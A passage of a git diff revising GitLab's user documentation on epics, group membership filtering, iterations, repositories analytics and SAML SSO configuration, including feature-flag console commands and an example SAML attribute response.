+It displays a dropdown menu, from which you can add an author. You can also enter plain
text to search by epic title or description. When done, press <kbd>Enter</kbd> on your
keyboard to filter the list.
@@ -155,7 +141,7 @@ The sort option and order is saved and used wherever you browse epics, including
If you're working on items that contain private information, you can make an epic confidential.
-NOTE: **Note:**
+NOTE:
A confidential epic can only contain confidential issues and confidential child epics.
To make an epic confidential:
@@ -211,7 +197,7 @@ To create an issue from an epic:
### Remove an issue from an epic
You can remove issues from an epic when you're on the epic's details page.
-After you remove an issue from an epic, the issue will no longer be associated with this epic.
+After you remove an issue from an epic, the issue is no longer associated with this epic.
To remove an issue from an epic:
@@ -253,8 +239,8 @@ To move an issue to another epic:
If you have the necessary [permissions](../../permissions.md) to close an issue and create an
epic in the immediate parent group, you can promote an issue to an epic with the `/promote`
[quick action](../../project/quick_actions.md#quick-actions-for-issues-merge-requests-and-epics).
-Only issues from projects that are in groups can be promoted. When attempting to promote a confidential
-issue, a warning will display. Promoting a confidential issue to an epic will make all information
+Only issues from projects that are in groups can be promoted. When you attempt to promote a confidential
+issue, a warning is displayed. Promoting a confidential issue to an epic makes all information
related to the issue public as epics are public to group members.
When the quick action is executed:
@@ -262,7 +248,7 @@ When the quick action is executed:
- An epic is created in the same group as the project of the issue.
- Subscribers of the issue are notified that the epic was created.
-The following issue metadata will be copied to the epic:
+The following issue metadata is copied to the epic:
- Title, description, activity/comment thread.
- Upvotes/downvotes.
@@ -277,7 +263,7 @@ You can create a spreadsheet template to manage a pattern of consistently repeat
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For an introduction to epic templates, see [GitLab Epics and Epic Template Tip](https://www.youtube.com/watch?v=D74xKFNw8vg).
-For more on epic templates, see [Epic Templates - Repeatable sets of issues](https://about.gitlab.com/handbook/marketing/product-marketing/getting-started/104/).
+For more on epic templates, see [Epic Templates - Repeatable sets of issues](https://about.gitlab.com/handbook/marketing/strategic-marketing/getting-started/104/).
## Manage multi-level child epics **(ULTIMATE)**
diff --git a/doc/user/group/img/add_new_members_v13_6.png b/doc/user/group/img/add_new_members_v13_6.png
deleted file mode 100644
index 4255eeb72c7..00000000000
--- a/doc/user/group/img/add_new_members_v13_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/img/add_new_members_v13_7.png b/doc/user/group/img/add_new_members_v13_7.png
new file mode 100644
index 00000000000..7e06bdf8fd1
--- /dev/null
+++ b/doc/user/group/img/add_new_members_v13_7.png
Binary files differ
diff --git a/doc/user/group/img/group_code_coverage_analytics_v13_7.png b/doc/user/group/img/group_code_coverage_analytics_v13_7.png
new file mode 100644
index 00000000000..769953b1355
--- /dev/null
+++ b/doc/user/group/img/group_code_coverage_analytics_v13_7.png
Binary files differ
diff --git a/doc/user/group/img/group_members_filter_2fa_disabled_13_7.png b/doc/user/group/img/group_members_filter_2fa_disabled_13_7.png
new file mode 100644
index 00000000000..8336103bad1
--- /dev/null
+++ b/doc/user/group/img/group_members_filter_2fa_disabled_13_7.png
Binary files differ
diff --git a/doc/user/group/img/group_members_filter_2fa_enabled_13_7.png b/doc/user/group/img/group_members_filter_2fa_enabled_13_7.png
new file mode 100644
index 00000000000..eb27906b583
--- /dev/null
+++ b/doc/user/group/img/group_members_filter_2fa_enabled_13_7.png
Binary files differ
diff --git a/doc/user/group/img/group_members_filter_direct_13_7.png b/doc/user/group/img/group_members_filter_direct_13_7.png
new file mode 100644
index 00000000000..c1b2d996e59
--- /dev/null
+++ b/doc/user/group/img/group_members_filter_direct_13_7.png
Binary files differ
diff --git a/doc/user/group/img/group_members_filter_inherited_13_7.png b/doc/user/group/img/group_members_filter_inherited_13_7.png
new file mode 100644
index 00000000000..f75990f9da8
--- /dev/null
+++ b/doc/user/group/img/group_members_filter_inherited_13_7.png
Binary files differ
diff --git a/doc/user/group/img/group_members_search_13_7.png b/doc/user/group/img/group_members_search_13_7.png
new file mode 100644
index 00000000000..21f36fc75f8
--- /dev/null
+++ b/doc/user/group/img/group_members_search_13_7.png
Binary files differ
diff --git a/doc/user/group/img/group_members_sort_13_7.png b/doc/user/group/img/group_members_sort_13_7.png
new file mode 100644
index 00000000000..5d307da649a
--- /dev/null
+++ b/doc/user/group/img/group_members_sort_13_7.png
Binary files differ
diff --git a/doc/user/group/img/group_storage_usage_quota.png b/doc/user/group/img/group_storage_usage_quota.png
deleted file mode 100644
index c5d81ad7a8b..00000000000
--- a/doc/user/group/img/group_storage_usage_quota.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/img/manual_permissions_v13_6.png b/doc/user/group/img/manual_permissions_v13_6.png
deleted file mode 100644
index 6d26061b049..00000000000
--- a/doc/user/group/img/manual_permissions_v13_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/img/manual_permissions_v13_7.png b/doc/user/group/img/manual_permissions_v13_7.png
new file mode 100644
index 00000000000..fcea0121915
--- /dev/null
+++ b/doc/user/group/img/manual_permissions_v13_7.png
Binary files differ
diff --git a/doc/user/group/index.md b/doc/user/group/index.md
index e09c685147a..a0884461da1 100644
--- a/doc/user/group/index.md
+++ b/doc/user/group/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Groups
@@ -130,7 +130,7 @@ give a user access to all projects in the group with one action.
Add members to a group by navigating to the group's dashboard and clicking **Members**.
-![add members to group](img/add_new_members_v13_6.png)
+![add members to group](img/add_new_members_v13_7.png)
Select the [permission level](../permissions.md#permissions), and add the new member. You can also set the expiring date for that user; this is the date on which they will no longer have access to your group.
@@ -211,6 +211,88 @@ To remove a member from a group:
1. (Optional) Select the **Also unassign this user from related issues and merge requests** checkbox.
1. Click **Remove member**.
+## Filter and sort members in a group
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21727) in GitLab 12.6.
+> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/228675) in GitLab 13.7.
+> - Improvements are [deployed behind a feature flag](../feature_flags.md), enabled by default.
+> - Improvements are enabled on GitLab.com.
+> - Improvements are recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable improvements](#enable-or-disable-improvements-to-the-ability-to-filter-and-sort-group-members). **(CORE ONLY)**
+
+The following sections illustrate how you can filter and sort members in a group. To view these options,
+navigate to your desired group, go to **Members**, and include the noted search terms.
+
+### Membership filter
+
+By default, inherited and direct members are displayed. The [membership](subgroups/index.md#membership) filter can be used to display only inherited or only direct members.
+
+#### Only display inherited members
+
+Include `Membership` `=` `Inherited` in the search text box.
+
+![Group members filter inherited](img/group_members_filter_inherited_13_7.png)
+
+#### Only display direct members
+
+Include `Membership` `=` `Direct` in the search text box.
+
+![Group members filter direct](img/group_members_filter_direct_13_7.png)
+
+### 2FA filter
+
+[Owner](../permissions.md#group-members-permissions) permissions required.
+
+By default, members with 2FA enabled and disabled are displayed. The 2FA filter can be used to display only members with 2FA enabled or only members with 2FA disabled.
+
+#### Only display members with 2FA enabled
+
+Include `2FA` `=` `Enabled` in the search text box.
+
+![Group members filter 2FA enabled](img/group_members_filter_2fa_enabled_13_7.png)
+
+#### Only display members with 2FA disabled
+
+Include `2FA` `=` `Disabled` in the search text box.
+
+![Group members filter 2FA disabled](img/group_members_filter_2fa_disabled_13_7.png)
+
+### Search
+
+You can search for members by name, username, or email.
+
+![Group members search](img/group_members_search_13_7.png)
+
+### Sort
+
+You can sort members by **Account**, **Access granted**, **Max role**, or **Last sign-in** in ascending or descending order.
+
+![Group members sort](img/group_members_sort_13_7.png)
+
+### Enable or disable improvements to the ability to filter and sort group members **(CORE ONLY)**
+
+Group member filtering and sorting improvements are deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can opt to disable the improvements.
+
+To disable them:
+
+```ruby
+# For the instance
+Feature.disable(:group_members_filtered_search)
+# For a single group
+Feature.disable(:group_members_filtered_search, Group.find(<group id>))
+```
+
+To enable them:
+
+```ruby
+# For the instance
+Feature.enable(:group_members_filtered_search)
+# For a single group
+Feature.enable(:group_members_filtered_search, Group.find(<group id>))
+```
+
## Changing the default branch protection of a group
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7583) in GitLab 12.9.
@@ -226,7 +308,7 @@ To change this setting for a specific group:
To change this setting globally, see [Default branch protection](../admin_area/settings/visibility_and_access_controls.md#default-branch-protection).
-NOTE: **Note:**
+NOTE:
In [GitLab Premium or higher](https://about.gitlab.com/pricing/), GitLab administrators can choose to [disable group owners from updating the default branch protection](../admin_area/settings/visibility_and_access_controls.md#disable-group-owners-from-updating-default-branch-protection).
## Add projects to a group
@@ -342,7 +424,7 @@ Group links can be created using either a CN or a filter. These group links are
For more information on the administration of LDAP and group sync, refer to the [main LDAP documentation](../../administration/auth/ldap/index.md#group-sync).
-NOTE: **Note:**
+NOTE:
If an LDAP user is a group member when LDAP Synchronization is added, and they are not part of the LDAP group, they will be removed from the group.
### Creating group links via CN **(STARTER ONLY)**
@@ -377,7 +459,7 @@ In GitLab [8.15](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/822) and
1. Select the pencil icon in the row for the user you are editing.
1. Select the brown `Edit permissions` button in the modal.
-![Setting manual permissions](img/manual_permissions_v13_6.png)
+![Setting manual permissions](img/manual_permissions_v13_7.png)
Now you will be able to edit the user's permissions from the **Members** page.
@@ -404,7 +486,7 @@ and above.
There are a few limitations compared to project wikis:
-- Local Git access is not supported yet.
+- Git LFS is not supported.
- Group wikis are not included in global search, group exports, backups, and Geo replication.
- Changes to group wikis don't show up in the group's activity feed.
- Group wikis [can't be moved](../../api/project_repository_storage_moves.md#limitations) using the project
@@ -482,12 +564,12 @@ To change your group path (group URL):
1. Enter a new name under **Change group URL**.
1. Click **Change group URL**.
-CAUTION: **Caution:**
+WARNING:
It is currently not possible to rename a namespace if it contains a
project with [Container Registry](../packages/container_registry/index.md) tags,
because the project cannot be moved.
-TIP: **Tip:**
+NOTE:
If you want to retain ownership over the original namespace and
protect the URL redirects, then instead of changing a group's path or renaming a
username, you can create a new group and transfer projects to it.
@@ -716,7 +798,7 @@ To enable delayed deletion of projects:
1. Expand the **Permissions, LFS, 2FA** section, and check **Enable delayed project removal**.
1. Click **Save changes**.
-NOTE: **Note:**
+NOTE:
The group setting for delayed deletion is not inherited by sub-groups and has to be individually defined for each group.
#### Prevent project forking outside group **(PREMIUM)**
@@ -747,20 +829,6 @@ To enable prevent project forking:
- **Pipelines quota**: Keep track of the [pipeline quota](../admin_area/settings/continuous_integration.md) for the group.
- **Integrations**: Configure [integrations](../admin_area/settings/project_integration_management.md) for your group.
-#### Storage usage quota **(STARTER)**
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/13294) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.0.
-
-A group owner can check the aggregated storage usage for all the projects in a group, sub-groups included, in the **Storage** tab of the **Usage Quotas** page available to the group page settings list.
-
-![Group storage usage quota](img/group_storage_usage_quota.png)
-
-The total usage of the storage is updated if any relevant event that
-will affect its value is triggered (e.g., a commit push).
-For performance reasons, we may delay the update up to 1 hour and 30 minutes.
-
-If your namespace shows `N/A` as the total storage usage, you can trigger a recalculation by pushing a commit to any project in that namespace.
-
#### Group push rules **(STARTER)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34370) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.8.
@@ -794,10 +862,21 @@ With [GitLab Issue Analytics](issues_analytics/index.md), you can see a bar char
## Repositories analytics **(PREMIUM)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215104) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263478) in GitLab 13.6.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/276003) in GitLab 13.7.
With [GitLab Repositories Analytics](repositories_analytics/index.md), you can download a CSV of the latest coverage data for all the projects in your group.
+### Check code coverage for all projects
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263478) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7.
+
+See the overall activity of all projects with code coverage with [GitLab Repositories Analytics](repositories_analytics/index.md).
+
+It displays the current code coverage data available for your projects:
+
+![Group repositories analytics](img/group_code_coverage_analytics_v13_7.png)
+
## Dependency Proxy
Use GitLab as a [dependency proxy](../packages/dependency_proxy/index.md) for upstream Docker images.
diff --git a/doc/user/group/insights/index.md b/doc/user/group/insights/index.md
index 50dfb0e5ccd..b559e6806e9 100644
--- a/doc/user/group/insights/index.md
+++ b/doc/user/group/insights/index.md
@@ -1,8 +1,8 @@
---
type: reference, howto
stage: Manage
-group: Value Stream Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Insights **(ULTIMATE)**
@@ -40,7 +40,7 @@ more details about the `.gitlab/insights.yml` configuration file.
If you have access to view a group, then you have access to view their Insights.
-NOTE: **Note:**
+NOTE:
Issues or merge requests that you don't have access to (because you don't have
access to the project they belong to, or because they are confidential) are
filtered out of the Insights charts.
diff --git a/doc/user/group/issues_analytics/index.md b/doc/user/group/issues_analytics/index.md
index dea1eaba819..269be19f759 100644
--- a/doc/user/group/issues_analytics/index.md
+++ b/doc/user/group/issues_analytics/index.md
@@ -1,20 +1,19 @@
---
type: reference
stage: Manage
-group: Value Stream Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Issue Analytics **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7478) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.5.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196561) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.9 at the project level.
Issue Analytics is a bar graph which illustrates the number of issues created each month.
The default timespan is 13 months, which includes the current month, and the 12 months
prior.
-To access the chart, navigate to your group or project sidebar and select **{chart}** **Analytics > Issue Analytics**.
+To access the chart, navigate to your group sidebar and select **{chart}** **Analytics > Issue Analytics**.
Hover over each bar to see the total number of issues.
diff --git a/doc/user/group/iterations/index.md b/doc/user/group/iterations/index.md
index 90050e217ee..a06c7a8f325 100644
--- a/doc/user/group/iterations/index.md
+++ b/doc/user/group/iterations/index.md
@@ -2,7 +2,7 @@
type: reference
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Iterations **(STARTER)**
@@ -38,7 +38,7 @@ From there you can create a new iteration or click an iteration to get a more de
## Create an iteration
-NOTE: **Note:**
+NOTE:
You need Developer [permissions](../../permissions.md) or higher to create an iteration.
To create an iteration:
@@ -52,7 +52,7 @@ To create an iteration:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218277) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.2.
-NOTE: **Note:**
+NOTE:
You need Developer [permissions](../../permissions.md) or higher to edit an iteration.
To edit an iteration, click the three-dot menu (**{ellipsis_v}**) > **Edit iteration**.
@@ -71,17 +71,16 @@ To learn how to add an issue to an iteration, see the steps in
You can track the progress of an iteration by reviewing iteration reports.
An iteration report displays a list of all the issues assigned to an iteration and their status.
+The report also shows a breakdown of total issues in an iteration.
+Open iteration reports show a summary of completed, unstarted, and in-progress issues.
+Closed iteration reports show the total number of issues completed by the due date.
+
To view an iteration report, go to the iterations list page and click an iteration's title.
### Iteration burndown and burnup charts
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222750) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.5.
-> - It was deployed behind a feature flag, disabled by default.
-> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45492) on GitLab 13.6.
-> - It's enabled on GitLab.com.
-> - It's able to be enabled or disabled per-group.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-iteration-charts). **(STARTER ONLY)**
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/269972) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.7.
The iteration report includes [burndown and burnup charts](../../project/milestones/burndown_and_burnup_charts.md),
similar to how they appear when viewing a [milestone](../../project/milestones/index.md).
@@ -113,30 +112,6 @@ Feature.disable(:group_iterations)
Feature.disable(:group_iterations, Group.find(<group ID>))
```
-## Disable iteration charts **(STARTER ONLY)**
-
-GitLab iteration charts feature is deployed with a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can disable it for your instance. `:iteration_charts` can be enabled or disabled per-group.
-
-To enable it:
-
-```ruby
-# Instance-wide
-Feature.enable(:iteration_charts)
-# or by group
-Feature.enable(:iteration_charts, Group.find(<group ID>))
-```
-
-To disable it:
-
-```ruby
-# Instance-wide
-Feature.disable(:iteration_charts)
-# or by group
-Feature.disable(:iteration_charts, Group.find(<group ID>))
-```
-
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/user/group/repositories_analytics/index.md b/doc/user/group/repositories_analytics/index.md
index fe5e7979592..fc4fb0236de 100644
--- a/doc/user/group/repositories_analytics/index.md
+++ b/doc/user/group/repositories_analytics/index.md
@@ -2,14 +2,14 @@
type: reference
stage: Verify
group: Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Repositories Analytics **(PREMIUM)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215104) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
## Latest project test coverage list
@@ -25,7 +25,9 @@ To see the latest code coverage for each project in your group:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215104) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
-You can get a CSV of the code coverage data for all of the projects in your group. This report has a maximum of 1000 records. To get the report:
+You can get a CSV of the code coverage data for all of the projects in your group. This report has a maximum of 1000 records. The code coverage data is from the default branch in each project.
+
+To get the report:
1. Go to your group's **Analytics > Repositories** page
1. Click **Download historic test coverage data (.csv)**,
@@ -44,6 +46,9 @@ For each day that a coverage report was generated by a job in a project's pipeli
If the project's code coverage was calculated more than once in a day, we will take the last value from that day.
+NOTE:
+[In GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/270102), group code coverage data is taken from the configured [default branch](../../project/repository/branches/index.md#default-branch). In earlier versions, it is taken from the `master` branch.
+
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/user/group/roadmap/index.md b/doc/user/group/roadmap/index.md
index f9d49c1236e..32abc676352 100644
--- a/doc/user/group/roadmap/index.md
+++ b/doc/user/group/roadmap/index.md
@@ -2,7 +2,7 @@
type: reference
stage: Plan
group: Product Planning
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Roadmap **(PREMIUM)**
diff --git a/doc/user/group/saml_sso/group_managed_accounts.md b/doc/user/group/saml_sso/group_managed_accounts.md
index 50f062bafa9..15dd91bece2 100644
--- a/doc/user/group/saml_sso/group_managed_accounts.md
+++ b/doc/user/group/saml_sso/group_managed_accounts.md
@@ -2,12 +2,12 @@
type: reference, howto
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Group Managed Accounts **(PREMIUM)**
-CAUTION: **Caution:**
+WARNING:
This [Closed Beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#sts=Closed%20Beta) feature is being re-evaluated in favor of a different
[identity model](https://gitlab.com/groups/gitlab-org/-/epics/4345) that does not require separate accounts.
We recommend that group administrators who haven't yet implemented this feature wait for
diff --git a/doc/user/group/saml_sso/img/saml_group_links_nav_v13_6.png b/doc/user/group/saml_sso/img/saml_group_links_nav_v13_6.png
new file mode 100644
index 00000000000..c1980b24a6d
--- /dev/null
+++ b/doc/user/group/saml_sso/img/saml_group_links_nav_v13_6.png
Binary files differ
diff --git a/doc/user/group/saml_sso/img/saml_group_links_v13_6.png b/doc/user/group/saml_sso/img/saml_group_links_v13_6.png
new file mode 100644
index 00000000000..c78b77b8fcf
--- /dev/null
+++ b/doc/user/group/saml_sso/img/saml_group_links_v13_6.png
Binary files differ
diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md
index 94d2c9afb24..62431747911 100644
--- a/doc/user/group/saml_sso/index.md
+++ b/doc/user/group/saml_sso/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# SAML SSO for GitLab.com groups **(SILVER ONLY)**
@@ -38,13 +38,15 @@ GitLab.com uses the SAML NameID to identify users. The NameID element:
- Must be unique to each user.
- Must be a persistent value that will never change, such as a randomly generated unique user ID.
- Is case sensitive. The NameID must match exactly on subsequent login attempts, so should not rely on user input that could change between upper and lower case.
-- Should not be an email address or username. We strongly recommend against these as it is hard to guarantee they will never change, for example when a person's name changes. Email addresses are also case-insensitive, which can result in users being unable to sign in.
+- Should not be an email address or username. We strongly recommend against these as it's hard to
+ guarantee it doesn't ever change, for example, when a person's name changes. Email addresses are
+ also case-insensitive, which can result in users being unable to sign in.
The relevant field name and recommended value for supported providers are in the [provider specific notes](#providers).
appropriate corresponding field.
-CAUTION: **Warning:**
-Once users have signed into GitLab using the SSO SAML setup, changing the `NameID` will break the configuration and potentially lock users out of the GitLab group.
+WARNING:
+Once users have signed into GitLab using the SSO SAML setup, changing the `NameID` breaks the configuration and potentially locks users out of the GitLab group.
#### NameID Format
@@ -56,11 +58,11 @@ GitLab provides metadata XML that can be used to configure your Identity Provide
1. Navigate to the group and click **Settings > SAML SSO**.
1. Copy the provided **GitLab metadata URL**.
-1. Follow your Identity Provider's documentation and paste the metadata URL when it is requested.
+1. Follow your Identity Provider's documentation and paste the metadata URL when it's requested.
## Configuring GitLab
-Once you've set up your identity provider to work with GitLab, you'll need to configure GitLab to use it for authentication:
+After you set up your identity provider to work with GitLab, you must configure GitLab to use it for authentication:
1. Navigate to the group's **Settings > SAML SSO**.
1. Find the SSO URL from your Identity Provider and enter it the **Identity provider single sign-on URL** field.
@@ -71,7 +73,7 @@ Once you've set up your identity provider to work with GitLab, you'll need to co
![Group SAML Settings for GitLab.com](img/group_saml_settings_v13_3.png)
-NOTE: **Note:**
+NOTE:
Please note that the certificate [fingerprint algorithm](#additional-providers-and-setup-options) must be in SHA1. When configuring the identity provider, use a secure signature algorithm.
### SSO enforcement
@@ -79,18 +81,18 @@ Please note that the certificate [fingerprint algorithm](#additional-providers-a
- [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5291) in GitLab 11.8.
- [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/9255) in GitLab 11.11 with ongoing enforcement in the GitLab UI.
-With this option enabled, users must go through your group's GitLab single sign-on URL. They may also be added via SCIM, if configured. Users cannot be added manually, and may only access project/group resources via the UI by signing in through the SSO URL.
+With this option enabled, users must go through your group's GitLab single sign-on URL. They may also be added via SCIM, if configured. Users can't be added manually, and may only access project/group resources via the UI by signing in through the SSO URL.
-However, users will not be prompted to sign in through SSO on each visit. GitLab will check whether a user has authenticated through SSO, and will only prompt the user to sign in via SSO if the session has expired.
+However, users are not prompted to sign in through SSO on each visit. GitLab checks whether a user has authenticated through SSO, and only prompts the user to sign in via SSO if the session has expired.
You can see more information about how long a session is valid in our [user profile documentation](../../profile/#why-do-i-keep-getting-signed-out).
We intend to add a similar SSO requirement for [Git and API activity](https://gitlab.com/gitlab-org/gitlab/-/issues/9152).
-When SSO enforcement is enabled for a group, users cannot share a project in the group outside the top-level group, even if the project is forked.
+When SSO enforcement is enabled for a group, users can't share a project in the group outside the top-level group, even if the project is forked.
## Providers
-NOTE: **Note:**
+NOTE:
GitLab is unable to provide support for IdPs that are not listed here.
| Provider | Documentation |
@@ -190,31 +192,77 @@ If the information you need isn't listed above you may wish to check our [troubl
## User access and management
+> [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/268142) in GitLab 13.7.
+
Once Group SSO is configured and enabled, users can access the GitLab.com group through the identity provider's dashboard. If [SCIM](scim_setup.md) is configured, please see the [user access and linking setup section on the SCIM page](scim_setup.md#user-access-and-linking-setup).
-When a user tries to sign in with Group SSO, they will need an account that's configured with one of the following:
+When a user tries to sign in with Group SSO, GitLab attempts to find or create a user based on the following:
-- [SCIM](scim_setup.md).
-- [Group-managed accounts](group_managed_accounts.md).
-- A GitLab.com account.
+- Find an existing user with a matching SAML identity. This would mean the user either had their account created by [SCIM](scim_setup.md) or they have previously signed in with the group's SAML IdP.
+- If there is no conflicting user with the same email address, create a new account automatically.
+- If there is a conflicting user with the same email address, redirect the user to the sign-in page to:
+ - Create a new account with another email address.
+ - Sign-in to their existing account to link the SAML identity.
### Linking SAML to your existing GitLab.com account
To link SAML to your existing GitLab.com account:
1. Sign in to your GitLab.com account.
-1. Locate and visit the **GitLab single sign-on URL** for the group you are signing in to. A group Admin can find this on the group's **Settings > SAML SSO** page. If the sign-in URL is configured, users can connect to the GitLab app from the Identity Provider.
+1. Locate and visit the **GitLab single sign-on URL** for the group you're signing in to. A group Admin can find this on the group's **Settings > SAML SSO** page. If the sign-in URL is configured, users can connect to the GitLab app from the Identity Provider.
1. Click **Authorize**.
1. Enter your credentials on the Identity Provider if prompted.
-1. You will be redirected back to GitLab.com and should now have access to the group. In the future, you can use SAML to sign in to GitLab.com.
+1. You are then redirected back to GitLab.com and should now have access to the group. In the future, you can use SAML to sign in to GitLab.com.
-On subsequent visits, you should be able to go [sign in to GitLab.com with SAML](#signing-in-to-gitlabcom-with-saml) or by visiting links directly. If the **enforce SSO** option is turned on, you will be redirected to sign in through the identity provider.
+On subsequent visits, you should be able to go [sign in to GitLab.com with SAML](#signing-in-to-gitlabcom-with-saml) or by visiting links directly. If the **enforce SSO** option is turned on, you are then redirected to sign in through the identity provider.
### Signing in to GitLab.com with SAML
1. Sign in to your identity provider.
1. From the list of apps, click on the "GitLab.com" app (The name is set by the administrator of the identity provider).
-1. You will be signed in to GitLab.com and redirected to the group.
+1. You are then signed in to GitLab.com and redirected to the group.
+
+### Configure user settings from SAML response
+
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263661) in GitLab 13.7.
+
+GitLab allows setting certain user attributes based on values from the SAML response.
+This affects users created on first sign-in via Group SAML. Existing users'
+attributes are not affected regardless of the values sent in the SAML response.
+
+#### Supported user attributes
+
+- `can_create_group` - 'true' or 'false' to indicate whether the user can create
+ new groups. Default is `true`.
+- `projects_limit` - The total number of personal projects a user can create.
+ A value of `0` means the user cannot create new projects in their personal
+ namespace. Default is `10000`.
+
+#### Example SAML response
+
+You can find SAML responses in the developer tools or console of your browser,
+in base64-encoded format. Use the base64 decoding tool of your choice to
+convert the information to XML. An example SAML response is shown here.
+
+```xml
+ <saml2:AttributeStatement>
+ <saml2:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
+ <saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">user.email</saml2:AttributeValue>
+ </saml2:Attribute>
+ <saml2:Attribute Name="first_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
+ <saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">user.firstName</saml2:AttributeValue>
+ </saml2:Attribute>
+ <saml2:Attribute Name="last_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
+ <saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">user.lastName</saml2:AttributeValue>
+ </saml2:Attribute>
+ <saml2:Attribute Name="can_create_group" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
